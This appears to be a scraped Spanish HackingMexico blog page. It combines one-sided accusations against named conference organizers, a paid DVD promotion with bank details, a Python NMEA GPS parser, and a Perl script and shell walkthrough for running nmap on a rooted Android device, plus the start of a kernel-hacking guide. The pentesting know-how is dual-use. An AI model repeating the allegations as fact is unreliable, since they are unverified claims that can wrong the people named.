Se supone que es para difundir el conocimiento, pero nos damos cuenta que por cuestiones personales van llevando a pique la ciencia. apoyamos a todos los conferencistas, talleristas y ponentes, ya que GRACIAS A ELLOS se realizan estos eventos.
1. X25 Ethical Hacker, organizador Rodolfo Hernandez Baz
No pago viaticos a
Raul Robles
Juan Angel Osorio
Helios Mier
Aaron Landa
Oscar Lopez, etc etc
Ademas de no haber enviado diplomas de sus cursos, y no dio diplomas de asistencia a algunas personas, el video explica todo
3.- CONASSOL Organizador Salvador Pereyra
Se nego a pagar los viaticos en su totalidad
Se robo ideas de HackingMexico para vender productos del HackShop
Opinion por parte de Gamaliel de OS UPIITA
A toda la gente les pedimos evaluen estas situaciones, y saquen sus conclusiones, los congresos deben de valorar a los ponentes, ya que sin ellos no existirian. Repudiamos a la gente que se roba el dinero de las entradas y no paga siquiera los viaticos de los ponentes y ellos tienen que poner de su propia bolsa.
Exigimos un trato justo para los que de buena fe comparten sus investigaciones y avances cientificos.
Cancelada la Conferencia en CONNASOL
Debido a que no se querian pagar los viaticos en su totalidad, HackingMexico ha decidido no particpar en el congreso de CONASSOL celebrado en Merida Yucatan. La excusa para no pagar todos los viaticos fue que querian que enviaramos nuestras presentaciones en determinada fecha, lo cual no se iba a realizar por la historia que se habia dado que el organizador del congreso copiaba ideas, como ocurrio con el wiFI Cracker, que al otro dia de que nosotros lo anunciamos a la venta, el tambien quizo venderlo en su pagina
Y asi con que confianza le enviariamos el material? Si nos ROBO la idea, quien dice que no nos ROBARIA las ponencias?
Exhortamos a la gente y ponentes a no asistir al congreso
Y asi con que confianza le enviariamos el material? Si nos ROBO la idea, quien dice que no nos ROBARIA las ponencias?
Exhortamos a la gente y ponentes a no asistir al congreso
Promocion DVD + Revista!!
Por tiempo limitado puedes obtener La Revista Impresa + el DVD que contiene Video Tutoriales paso a paso, y mas de 50 herramientas de Hacking con envio incluido express 2 dias habiles por Mexpost, por tan solo $250 pesos a cualquier parte de la Republica Mexicana
Pago por Oxxo
$250 pesos a la tarjeta 4152312197502419
despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx
Deposito Bancario
Tambien puedes depositar en Banco
Banco: BBVA Bancomer
A nombre de: Raul Robles Aviles
Concepto: Diplomado
No. de Cuenta 0187088957
CLABE 012180001870889575
Monto: $250
despues tomale una foto al comprobante o scanealo y envia tu direccion y tu nombre a info@hackingmexico.mx
Jugando con el GPS del celular (Android) con Python
La mayoría de los celulares actuales integran GPS, siendo este poco utilizado/aprovechado para los usuarios que desconocen todas las ventajas que podría tener el utilizar esta característica de sus celulares.
Primero que nada...
¿Cómo leer los datos del GPS?
Existe algo llamado NMEA:
“NMEA 0183 (o NMEA de forma abreviada) es una especificación combinada eléctrica y de datos entre aparatos electrónicos marinos y, también, más generalmente, receptores GPS.” Wikipedia
Me vino a la mente que “nmea” es por el león de Heracles, pero no lo puedo confirmar :P
En otras palabras, se pueden leer todos los datos del GPS en formato CVS (valor separado por coma), vamos a ver algunas cosas rápidas del estándar NMEA:
Satélites utilizados:
Siendo el 1 es la forma en la que está trabajando el GPS del celular:
Posibles valores:
El 2 es el modo 2:
Del 3 al 14 ID's de satélites usados (valor numérico).
En fin, no tiene caso hacer una copia de los RFC que existen sobre este protocolo, por lo que vamos directamente al grano:
Para poder acceder a los datos del GPS en la PC (me parece más bonito y útil usar el GPS en la PC que en el celular) vamos a utilizar una herramienta llamada ShareGPS (que pueden encontrar en el Play Store) y adb (que viene en el SDK de android) o “adb lite” (google).
Iniciamos ShareGPS en el celular y en la configuración marcamos: “Use USB”
Ahora en adb vamos a redireccionar el puerto (sí, se puede redireccionar puertos del celular a la pc):
Con esto el puerto 50000 del celular queda en el 50000 de nuestra máquina, probemos:
Esos datos raros que pueden ser ahí es directamente los datos NMEA, ahora la cosa es bastante fácil, podemos conectarnos con python al puerto 50000 de localhost (también se podría a través de una red wifi, pero me gusta más esta forma).
Con esto haremos exactamente lo mismo que netcat, pero vamos un por más allá, recuerdan que dije que está en formato CVS todo?
Con esto ya tenemos cada valor de la linea en datos, ahora podemos analizarlo:
Para los que no estén familiarizados con python, este no tiene swich como tal, entonces esta es mi versión de este.
Lo que hacemos con esto es llamar a cada una de esas funciones (GPRMC,GPGSV,GPGSA) cada vez que una linea tenga por ejemplo “$GPRMC” que llamaría a la función GPRMC , pasandole como argumento todos los elementos de datos excepto el primero (no tiene caso mandarle “$GPRMC ” por ejemplo xD)
Vamos a parsear el primero (GPRMC nos indica el estado de la conexión los satélites y los datos obtenidos de este):
Azimut es una forma de medir la dirección hacia la cual vamos (rumbo) en grados:
0° sería el norte, 90 el Este, 180 el Sur y 360 el Oeste.
Nota de interés: La fecha UTC la genera el receptor GPS en base a la de los satélites que está utilizando.
Ahora va GPGSV que nos da información sobre los satélites visibles
Nota de interés: SNR es la relación señal/ruido y en base a esta se puede calcular la calidad de enlace con el satélite.
By Xianur0
Primero que nada...
¿Cómo leer los datos del GPS?
Existe algo llamado NMEA:
“NMEA 0183 (o NMEA de forma abreviada) es una especificación combinada eléctrica y de datos entre aparatos electrónicos marinos y, también, más generalmente, receptores GPS.” Wikipedia
Me vino a la mente que “nmea” es por el león de Heracles, pero no lo puedo confirmar :P
En otras palabras, se pueden leer todos los datos del GPS en formato CVS (valor separado por coma), vamos a ver algunas cosas rápidas del estándar NMEA:
Satélites utilizados:
$GPGSA,<1>,<2>,<3>,<4>,<5>,<6>,<7>,<8>,<9>,<10>,<11>,<12>,<13>,<14>,<15>,<16>,<17><Checksum><CR><LF>
Siendo el 1 es la forma en la que está trabajando el GPS del celular:
Posibles valores:
M: Manual (Forzar a trabajar en 3D/2D)
A: Automático
El 2 es el modo 2:
1=No fijo, 2=2D, 3=3D
Del 3 al 14 ID's de satélites usados (valor numérico).
15 Position dilution of precision (PDOP)
16 Horizontal dilution of precision (HDOP)
17 Vertical dilution of precision (VDOP)
En fin, no tiene caso hacer una copia de los RFC que existen sobre este protocolo, por lo que vamos directamente al grano:
Para poder acceder a los datos del GPS en la PC (me parece más bonito y útil usar el GPS en la PC que en el celular) vamos a utilizar una herramienta llamada ShareGPS (que pueden encontrar en el Play Store) y adb (que viene en el SDK de android) o “adb lite” (google).
Iniciamos ShareGPS en el celular y en la configuración marcamos: “Use USB”
Ahora en adb vamos a redireccionar el puerto (sí, se puede redireccionar puertos del celular a la pc):
Zer0-null:/home/xianur0 # adb forward tcp:50000 tcp:50000
Con esto el puerto 50000 del celular queda en el 50000 de nuestra máquina, probemos:
Zer0-null:/home/xianur0 # nc -vvv localhost 50000
nc: connect to localhost port 50000 (tcp) failed: Connection refused
Connection to localhost 50000 port [tcp/mrt] succeeded!
$GPGSV,4,1,16,01,,,,03,45,070,,04,,,,05,,,*4E
$GPGSV,4,2,16,06,27,054,,07,35,320,,08,13,293,,10,18,291,*7A
$GPGSV,4,3,16,11,11,151,,13,73,350,,16,20,036,,19,46,108,*7F
$GPGSV,4,4,16,20,13,185,,23,69,132,,28,12,233,,30,,,*44
[…]
Esos datos raros que pueden ser ahí es directamente los datos NMEA, ahora la cosa es bastante fácil, podemos conectarnos con python al puerto 50000 de localhost (también se podría a través de una red wifi, pero me gusta más esta forma).
import socket,string
# -*- coding: utf-8 -*-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 50000))
while 1:
linea = s.recv(250)
print linea
Con esto haremos exactamente lo mismo que netcat, pero vamos un por más allá, recuerdan que dije que está en formato CVS todo?
datos=string.split(linea,',')
Con esto ya tenemos cada valor de la linea en datos, ahora podemos analizarlo:
try:
result = {
'$GPRMC': GPRMC ,
'$GPGSV': GPGSV
}[datos[0]](datos[1:])
except KeyError:
pass
Para los que no estén familiarizados con python, este no tiene swich como tal, entonces esta es mi versión de este.
Lo que hacemos con esto es llamar a cada una de esas funciones (GPRMC,GPGSV,GPGSA) cada vez que una linea tenga por ejemplo “$GPRMC” que llamaría a la función GPRMC , pasandole como argumento todos los elementos de datos excepto el primero (no tiene caso mandarle “$GPRMC ” por ejemplo xD)
Vamos a parsear el primero (GPRMC nos indica el estado de la conexión los satélites y los datos obtenidos de este):
def GPRMC (datos):
if datos[1] != 'V':
print "[-] Conectado con satelites!"
print "[-] Hora actual: "+datos[0][0:2]+":"+datos[0][2:4]+":"+datos[0][4:6]+" con "+datos[0][7:]+" milisegundos"
print "[-] Coordenadas actuales: ("+datos[2]+","+datos[4]+")"
print "[-] Latitud Hemisferio: "+datos[3]
print "[-] Longitud Hemisferio: "+datos[5]
print "[-] Velocidad actual: "+datos[6]+" nudos"
azimut=int(datos[7])
rumbo=''
if(azimut==0):
rumbo='Norte'
elif(azimut<90 and azimut > 0):
rumbo='Noreste'
elif(azimut==90):
rumbo='Este'
if(azimut>90 and azimut < 180):
rumbo='Sureste'
if(azimut==180):
rumbo='Sur'
if(azimut>180 and azimut<360):
rumbo='Suroeste'
if(azumit==360):
rumbo='Oeste'
print "[-] Rumbo: "+rumbo+" ("+datos[7]+" grados)"
print "[-] Fecha UTC: "+datos[8]
Azimut es una forma de medir la dirección hacia la cual vamos (rumbo) en grados:
0° sería el norte, 90 el Este, 180 el Sur y 360 el Oeste.
Nota de interés: La fecha UTC la genera el receptor GPS en base a la de los satélites que está utilizando.
Ahora va GPGSV que nos da información sobre los satélites visibles
def GPGSV (datos):
print datos
print "\n[!] Información de satélites visibles: "
print "[-] Total Número de mensajes: "+datos[0]
print "[-] Número de mensaje: "+datos[1]
print "[-] Satélites visibles: "+datos[2]
c=0
for a in range(3):
print "[-] Satélite número: "+datos[3+c]
print "\t[-] Grados de elevación: "+datos[3+c+1]
print "\t[-] Asimut: "+datos[3+c+2]
print "\t[-] SNR: "+datos[3+c+3]+" dB-Hz"
c=c+4
Nota de interés: SNR es la relación señal/ruido y en base a esta se puede calcular la calidad de enlace con el satélite.
Código completo.
import socket,string
# -*- coding: utf-8 -*-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 50000))
def GPRMC (datos):
if datos[1] != 'V':
print "[!] Conectado con satelites!"
print "[-] Hora actual: "+datos[0][0:2]+":"+datos[0][2:4]+":"+datos[0][4:6]+" con "+datos[0][7:]+" milisegundos"
print "[-] Coordenadas actuales: ("+datos[2]+","+datos[4]+")"
print "[-] Latitud Hemisferio: "+datos[3]
print "[-] Longitud Hemisferio: "+datos[5]
print "[-] Velocidad actual: "+datos[6]+" nudos"
azimut=int(datos[7])
rumbo=''
if(azimut==0):
rumbo='Norte'
elif(azimut<90 and azimut > 0):
rumbo='Noreste'
elif(azimut==90):
rumbo='Este'
if(azimut>90 and azimut < 180):
rumbo='Sureste'
if(azimut==180):
rumbo='Sur'
if(azimut>180 and azimut<360):
rumbo='Suroeste'
if(azimut==360):
rumbo='Oeste'
print "[-] Rumbo: "+rumbo+" ("+datos[7]+" grados)"
print "[-] Fecha UTC: "+datos[8]
def GPGSV (datos):
print datos
print "\n[!] Información de satélites visibles: "
print "[-] Total Número de mensajes: "+datos[0]
print "[-] Número de mensaje: "+datos[1]
print "[-] Satélites visibles: "+datos[2]
c=0
for a in range(3):
print "[-] Satélite número: "+datos[3+c]
print "\t[-] Grados de elevación: "+datos[3+c+1]
print "\t[-] Asimut: "+datos[3+c+2]
print "\t[-] SNR: "+datos[3+c+3]+" dB-Hz"
c=c+4
while 1:
linea = s.recv(250)
if linea == '':
raise RuntimeError("socket connection broken")
datos=string.split(linea,',')
try:
result = {
'$GPRMC': GPRMC,
'$GPGSV': GPGSV
}[datos[0]](datos[1:])
except KeyError:
pass
By Xianur0
Portando cualquier programa GNU/Linux a Android
Últimamente ha sonado mucho el “Ubuntu for android” que no es más que un port de ubuntu que corre sobre android (sí, no remplaza android, simplemente corre en un entorno chroot SOBRE android), pero aun queda esperar para probarlo, pero no somos de las personas que les guste esperar, además podemos asumir que no nos interesa tener la distro completa, solo ciertas herramientas que podemos utilizar para el pentesting.
La cosa es bastante simple, primero necesitamos bajar la iso de debian para ARMEL
Ya que tengamos ese iso, extraemos la carpeta pool (no nos interesa nadamás del iso) y utilizaremos la herramienta “Deb2Droid” para “instalar” cualquier programa en el android.
Nota: Podemos bajar archivos con extensión “.deb” de otros repositorios de debian, siempre y cuando sean para la arquitectura “armel”:
Por ejemplo tenemos este:
Para este caso bajaremos nmap:
y lo meteremos dentro de pool/main/n/
Ahora con la herramienta “Deb2Droid” vamos a exportar nmap con todas sus dependencias:
Llegados a este punto ya tendremos todo extraído en la carpeta actual (donde ejecutamos el export.pl).
De este modo ya tendríamos listo nmap para correrlo en cualquier dispositivo android, el detalle hasta ahora es que... pesa mucho...
Ahora la cosa es tomar solo lo que nos sirve:
Listo, ya tenemos nmap con todas sus dependencias reales en /home/xianur0/nmap-final
Pero ahora toca ver si alguna de sus dependencias tiene alguna dependencia sin cumplir (hacer recursivamente esto hasta tener todas las libs necesarias):
y copiamos todas las que nos falte:
Ahora pesa mucho menos que los 68 MB's con la basura de debian.
Preparemos el entorno y subamos al dispositivo todo:
Y probemos en el dispositivo a ver si funciona:
Primero copiaré la carpeta a /data/local/nmap porque la SD es fat32 y no acepta permisos de ejecución (que requerimos para ejecutar el programa):
Montamos las particiones para que se comunique con el sistema:
Ahora vamos a ver si se ejecuta:
Y listo nmap corriendo en android :D.
También podemos portar GCC/Make y otras herramientas de desarrollo y directamente compilar el programa en el celular, lo cual nos ahorraría eliminar tanta basura.
By Xianur0
La cosa es bastante simple, primero necesitamos bajar la iso de debian para ARMEL
Zer0-null:/home/xianur0 # wget http://cdimage.debian.org/debian-cd/current/armel/iso-cd/debian-6.0.6-armel-xfce+lxde-CD-1.iso
Ya que tengamos ese iso, extraemos la carpeta pool (no nos interesa nadamás del iso) y utilizaremos la herramienta “Deb2Droid” para “instalar” cualquier programa en el android.
Nota: Podemos bajar archivos con extensión “.deb” de otros repositorios de debian, siempre y cuando sean para la arquitectura “armel”:
Por ejemplo tenemos este:
http://ftp.fr.debian.org/debian/pool/main
Para este caso bajaremos nmap:
http://ftp.fr.debian.org/debian/pool/main/n/nmap/nmap_5.00-3_armel.deb
y lo meteremos dentro de pool/main/n/
Ahora con la herramienta “Deb2Droid” vamos a exportar nmap con todas sus dependencias:
Zer0-null:/home/xianur0/debian-arm # perl export.pl
Deb2Droid v0.1 by Xianur0
Use: ./export.pl [pool dir] [deb]
Zer0-null:/home/xianur0/debian-arm/nmap # perl export.pl ../pool/main/ n/nmap_5.00-3_armel.deb
[...]
[-] Instaladas!
[-] Paquete y dependencias extraidos correctamente!
Llegados a este punto ya tendremos todo extraído en la carpeta actual (donde ejecutamos el export.pl).
Zer0-null:/home/xianur0/debian-arm/nmap # ls
bin config etc export.pl lib sbin selinux shlibs symbols templates usr var
De este modo ya tendríamos listo nmap para correrlo en cualquier dispositivo android, el detalle hasta ahora es que... pesa mucho...
Zer0-null:/home/xianur0/debian-arm/nmap # du -sh .
68M .
Ahora la cosa es tomar solo lo que nos sirve:
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # objdump -x nmap | grep NEEDED
NEEDED libpcre.so.3
NEEDED libpcap.so.0.8
NEEDED libssl.so.0.9.8
NEEDED libcrypto.so.0.9.8
NEEDED liblua5.1.so.0
NEEDED libdl.so.2
NEEDED libstdc++.so.6
NEEDED libm.so.6
NEEDED libgcc_s.so.1
NEEDED libc.so.6
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/bin/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp nmap /home/xianur0/nmap-final/bin/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/lib
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libpcre.so.3 /home/xianur0/nmap-final/lib/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libpcap.so.0.8 /home/xianur0/nmap-final/lib/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libssl.so.0.9.8 /home/xianur0/nmap-final/lib/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libcrypto.so.0.9.8 /home/xianur0/nmap-final/lib/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/liblua5.1.so.0 /home/xianur0/nmap-final/lib/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libdl.so.2 /home/xianur0/nmap-final/lib/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../lib/libstdc++.so.6 /home/xianur0/nmap-final/lib/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libm.so.6 /home/xianur0/nmap-final/lib/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libgcc_s.so.1 /home/xianur0/nmap-final/lib/
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # cp ../../lib/libc.so.6 /home/xianur0/nmap-final/lib/
Listo, ya tenemos nmap con todas sus dependencias reales en /home/xianur0/nmap-final
Pero ahora toca ver si alguna de sus dependencias tiene alguna dependencia sin cumplir (hacer recursivamente esto hasta tener todas las libs necesarias):
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # objdump -x * | grep -i NEEDED | sort -n | uniq
NEEDED libacl.so.1
NEEDED libattr.so.1
NEEDED libbz2.so.1.0
NEEDED libcrypto.so.0.9.8
NEEDED libcrypt.so.1
NEEDED libc.so.6
NEEDED libdl.so.2
NEEDED libgcc_s.so.1
NEEDED liblua5.1.so.0
NEEDED liblzma.so.2
NEEDED libm.so.6
NEEDED libpcap.so.0.8
NEEDED libpcreposix.so.3
NEEDED libpcre.so.3
NEEDED libperl.so.5.10
NEEDED libpthread.so.0
NEEDED librt.so.1
NEEDED libselinux.so.1
NEEDED libssl.so.0.9.8
NEEDED libstdc++.so.6
NEEDED libz.so.1
y copiamos todas las que nos falte:
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # ls -l /home/xianur0/nmap-final/lib/
total 6712
-rwxr-xr-x 1 root root 122340 ene 14 04:53 ld-linux.so.3
-rw-r--r-- 1 root root 25412 ene 14 05:01 libacl.so.1
-rw-r--r-- 1 root root 14576 ene 14 05:02 libattr.so.1
-rw-r--r-- 1 root root 74552 ene 14 04:57 libbz2.so.1.0
-rw-r--r-- 1 root root 1247604 ene 14 04:26 libcrypto.so.0.9.8
-rw-r--r-- 1 root root 34376 ene 14 05:00 libcrypt.so.1
-rwxr-xr-x 1 root root 1205684 ene 14 04:27 libc.so.6
-rw-r--r-- 1 root root 9808 ene 14 04:26 libdl.so.2
-rw-r--r-- 1 root root 47212 ene 14 04:27 libgcc_s.so.1
-rw-r--r-- 1 root root 143460 ene 14 04:26 liblua5.1.so.0
-rw-r--r-- 1 root root 127380 ene 14 04:54 liblzma.so.2
-rw-r--r-- 1 root root 652912 ene 14 04:27 libm.so.6
-rw-r--r-- 1 root root 193012 ene 14 05:01 libpcap.so.0.8
-rw-r--r-- 1 root root 5892 ene 14 04:56 libpcreposix.so.3
-rw-r--r-- 1 root root 186208 ene 14 04:25 libpcre.so.3
-rw-r--r-- 1 root root 1251792 ene 14 04:56 libperl.so.5.10
-rwxr-xr-x 1 root root 120505 ene 14 04:53 libpthread.so.0
-rw-r--r-- 1 root root 26632 ene 14 04:55 librt.so.1
-rw-r--r-- 1 root root 100312 ene 14 04:54 libselinux.so.1
-rw-r--r-- 1 root root 270772 ene 14 04:26 libssl.so.0.9.8
-rw-r--r-- 1 root root 874176 ene 14 04:27 libstdc++.so.6
-rw-r--r-- 1 root root 82124 ene 14 04:53 libz.so.1
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # ls -alh /home/xianur0/nmap-final/bin
total 620K
drwxr-xr-x 2 root root 4,0K ene 14 04:24 .
drwxr-xr-x 4 root root 4,0K ene 14 04:25 ..
-rwxr-xr-x 1 root root 609K ene 14 04:24 nmap
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # du -sh /home/xianur0/nmap-final/
7,2M /home/xianur0/nmap-final/
Ahora pesa mucho menos que los 68 MB's con la basura de debian.
Preparemos el entorno y subamos al dispositivo todo:
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/proc
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/dev
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # mkdir -p /home/xianur0/nmap-final/sys
Zer0-null:/home/xianur0/debian-arm/nmap/usr/bin # adb push /home/xianur0/nmap-final /sdcard/nmap
Y probemos en el dispositivo a ver si funciona:
Primero copiaré la carpeta a /data/local/nmap porque la SD es fat32 y no acepta permisos de ejecución (que requerimos para ejecutar el programa):
# cp -R /sdcard/nmap /data/local/nmap
# cd /data/local/nmap
Montamos las particiones para que se comunique con el sistema:
# mount -o bind /proc proc
# mount -o bind /dev dev
# mount -o bind /sys sys
Ahora vamos a ver si se ejecuta:
# chroot /data/local/nmap /bin/nmap -V
Nmap version 5.00 ( http://nmap.org )
Y listo nmap corriendo en android :D.
También podemos portar GCC/Make y otras herramientas de desarrollo y directamente compilar el programa en el celular, lo cual nos ahorraría eliminar tanta basura.
export.pl
#!/usr/bin/perl -w
require Digest::MD5;
my $base = $ARGV[0];
my $arg1 = $ARGV[1] || die(("\t"x3)."Deb2Droid v0.1 by Xianur0\n\nUse: ./export.pl [pool dir] [deb]\n");
my @packages = ($arg1);
our @extraidos = ();
our @depsinstaladas = ();
my $install = 1;
system("mkdir var && mkdir var/lib && mkdir var/lib/dpkg && mkdir var/lib/dpkg/info");
open STATUS,">>var/lib/dpkg/status";
sub copiar {
my ($origen,$destino) = @_;
open(FILES,"<".$origen) || return 0;
my $contenido = "";
binmode FILES;
while(<FILES>) {
$contenido .=$_;
}
close(FILES);
open FILED,">".$destino;
binmode FILED;
print FILED $contenido;
close(FILED);
}
sub locatedep {
my ($dir,$dep) = @_;
$dir .= "/" if($dir !~ /\/$/);
my @files = <$dir*>;
foreach my $file (@files) {
my $tmpfile = $file;
$tmpfile =~ s/^.+\///g;
if(-d $file) {
if($file !~ /^\.+$/){
return 1 if(locatedep($file,$dep));
}
}
elsif(-f $file && $dep eq substr($tmpfile,0,length($dep)) && $file =~ /u?deb$/) {
print "[-] Posible paquete encontrado: ".$dep." ? ".$file."\n";
print "ar x ".$file." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1\n";
if($install == 1){
print "[-] Extrayendo paquete...\n";
return 1 if(extract($file,$dep));
}
}
}
return 0;
}
sub in_array
{
my ($arr,$search_for) = @_;
my %items = map {$_ => 1} @$arr; # create a hash out of the array values
return (exists($items{$search_for}))?1:0;
}
sub finddeps {
my $searchpackagename = "";
$searchpackagename = $_[0] if($#_ >= 0);
$searchpackagename = "" unless defined $searchpackagename;
open CONTROL,"<control" || return;
open MD5,"<md5sums";
open CONFFILES,"<conffiles";
my $control = "";
my $md5 = "";
my $conffiles = "";
return unless(fileno(MD5));
while(<CONTROL>) {
$control.=$_;
}
close(CONTROL);
my $packagename = "";
$packagename = $1 if($control =~ /Package: ([^\r\n]+)/);
print "Paquete: ".$searchpackagename."=? ".$packagename."\n";
if($searchpackagename ne "" && $searchpackagename ne $packagename) {
return 0;
}
if(fileno(MD5)){
while(<MD5>) {
$md5.=$_;
}
close(MD5);
}
my $status = "Status: install ok not-installed";
if(fileno(CONFFILES)) {
while(<CONFFILES>) {
my $f = $_;
$f =~ s/[\r\n]+//g;
open F, ".".$f;
my $cf = "";
while(<F>){
$cf .= $_;
}
$conffiles.=" ".$f." ".Digest::MD5::md5_hex($cf)."\n";
}
close(CONFFILES);
$control =~ s/(Description:\s+)/Conffiles:\n$conffiles$1/;
$status = "Status: install reinstreq half-configured";
}
checkmd5($md5);
my $depsstring = "";
$depsstring = $1 if($control =~ /Depends: ([^\r\n]+)/);
copiar("archivos.list","var/lib/dpkg/info/".$packagename.".list");
copiar("postinst","var/lib/dpkg/info/".$packagename.".postinst");
copiar("preinst","var/lib/dpkg/info/".$packagename.".preinst");
copiar("postrm","var/lib/dpkg/info/".$packagename.".postrm");
copiar("prerm","var/lib/dpkg/info/".$packagename.".prerm");
open MD5OUT,">>var/lib/dpkg/info/".$packagename.".md5sums";
print MD5OUT $md5;
$md5 = "";
if($depsstring eq ""){
print "[-] Sin dependencias... continuando...\n";
return 1;
}
my @deps = ($depsstring =~ /[^\,]+/g);
my $i = 0;
for $dep (@deps) {
$dep =~ s/^\s+//g;
my $version = $dep;
$version =~ s/(.+\()//g;
$version =~ s/\)//g;
my $condicion = "";
if($version=~/^(>|>=|<=|==|<)\s+([\:\.\d]+)$/){
($condicion,$version) = ($1,$2);
} else {$version="";}
$dep =~ s/\s+.+$//g;
$deps[$i] = $dep;
$i++;
}
print "[-]Instalando dependencias....\n\n";
for $dep (@deps) {
my $cdep = $#deps;
if(!in_array(\@depsinstaladas,$dep)){
push(@depsinstaladas,$dep);
print "[-] Buscando paquete: ".$dep."...\n";
if(!locatedep($base,$dep)) {
die("\n[!] No se pudo resolver la dependencia: ".$dep."\n");
}
}
}
print "[-] Agregando a status...\n";
$control =~s/^Package\:([^\r\n]+)/Package:$1\n$status/;
print $control."\n";
print STATUS $control."\n\n";
print "[-] Instaladas!\n";
return 1;
}
sub extract {
my ($p,$packname) = @_;
if(in_array(\@extraidos,$p)){
return 1;
}
push(@extraidos,$p);
my $descarte = "";
system("ar x ".$p." && (tar -xzvf data.tar.gz > archivos.list) && tar -xzvf control.tar.gz 2>&1");
my $estado = finddeps($packname);
system("rm md5sums 2>&1 | rm control 2>&1 | rm archivos.list 2>&1 | rm debian 2>&1 | rm debian-binary 2>&1 | rm conffiles 2>&1 | rm postinst 2>&1 | rm preinst 2>&1 | rm postrm 2>&1 | rm prerm 2>&1 | rm data.tar.gz 2>&1 | rm control.tar.gz 2>&1 | echo ");
return $estado;
}
sub checkmd5 {
my $md5 = $_[0];
my @lineas = split(/[\r\n]/,$md5);
for $linea (@lineas) {
my ($md5,$objeto) = ($linea =~ /^([\w\d]+)\s+(.+)$/);
open OBJETO,"<".$objeto;
binmode OBJETO;
my $bin = "";
while(<OBJETO>){
$bin .=$_;
}
my $md5real = Digest::MD5::md5_hex($bin);
unless($md5 eq $md5real) {
die("\n[!] MD5 incorrecto: ".$md5."!=".$md5real." en: ${objeto}\n");
} else {
print "\r[-] Probando MD5: ${md5} ${md5real} ${objeto}\r";
}
}
print "\n[-] MD5's correctos!\n";
}
for $package (@packages){
extract($base.$package);
}
print "[-] Paquete y dependencias extraidos correctamente!\n";
By Xianur0
Universidad Tecnologica de Tecamachalco, Puebla
[gallery columns="4" ids="1612,1613,1614,1615,1616,1617,1618,1619,1620,1621,1622,1623,1624,1625,1626,1627,1628,1629,1630,1631,1632,1633,1634,1635"]
Universidad Tecnologica de San Juan del Rio
[gallery columns="4" link="file" ids="1584,1585,1586,1587,1588,1589,1590,1605,1604,1603,1602,1601,1600,1599,1598,1597,1596,1595,1593,1592,1591"]
Android Para Hackers Reales pt.1
El titulo de esta publicación seguramente será muy polémico y causará muchas criticas, pero crear este “manual” y poner esta clase de títulos tienen sus razones, para comenzar las publicaciones de “Android para hackers” normalmente no pasan de una lista de apps para instalar y que harán todo el trabajo, pero sin duda alguna es complicado encontrar algo que valga la pena y que no esté regado por todo internet, además de que todo eso es negocio de scriptkiddies no de “hackers” como sugiere el título, por esta sencilla razón me daré a la labor de armar un manual de como convertir esto:
En esto:
Y finalmente esto:
Todo completamente desde 0. Vamos a hacer Ing. Inversa, vamos a compilar kernels, vamos a montarlos en dispositivos android (este manual estará más que nada enfocado a tabletas, aunque puede servir en celulares también) y vamos a hacer hacks reales.
Comenzamos!
Para este primer post vamos con una introducción al kernel de android, las herramientas que vamos a necesitar son: Android rooteado (hay muchos manuales además de que este proceso puede variar según el dispositivo que se tenga, por lo que no entraré en detalles respecto a esto), adb (se instala con el Android SDK o pueden usar “adb lite” que pueden encontrar buscando en google :P), abootimg (http://gitorious.org/ac100/abootimg) y binwalk (sería igual utilizar un editor hexadecimal en lugar de esta herramienta, pero para acelerar un poco las cosas, lo usaremos esta vez :P).
En esta primera parte trabajaré con un celular android, debido a que la tableta que tengo a la mano para trabajar (Sony Tablet S) lleva un proceso diferente (del cual hablaré en el siguiente post), pero este proceso se aplica a una gran cantidad de tabletas android.
Para las personas que no estén familiarizadas con compilar kernels tal vez se les complique un poco entender los términos que se utilizarán a lo largo de este post, pero intentaré hacerlo lo más claro posible.
# mount | grep /system
/dev/block/mmcblk0p14 /system ext4 rw,relatime,barrier=1,data=ordered 0 0
Lo primero es identificar las particiones que utiliza el dispositivo, para detectar las que faltan y buscar en ellas el tan deseado kernel.
# mount | grep /dev/block/mmcblk0p
/dev/block/mmcblk0p14 /system ext4 rw,relatime,barrier=1,data=ordered 0 0
/dev/block/mmcblk0p21 /data ext4 rw,nosuid,nodev,noatime,errors=continue,barrier=1,data=ordered 0 0
/dev/block/mmcblk0p15 /persist ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0
/dev/block/mmcblk0p16 /cache ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0
/dev/block/mmcblk0p18 /drm ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0
/dev/block/mmcblk0p22 /mpt ext4 rw,nosuid,nodev,relatime,barrier=1,data=ordered 0 0
Ya tenemos la 14,21, 15, 16, 18 y 22 identificadas.
# ls -l /dev/block/mmcblk0p*
brw------- root root 179, 1 2013-01-04 00:13 mmcblk0p1
brw------- root root 179, 10 2013-01-13 20:06 mmcblk0p10
brw------- root root 179, 11 2013-01-13 19:48 mmcblk0p11
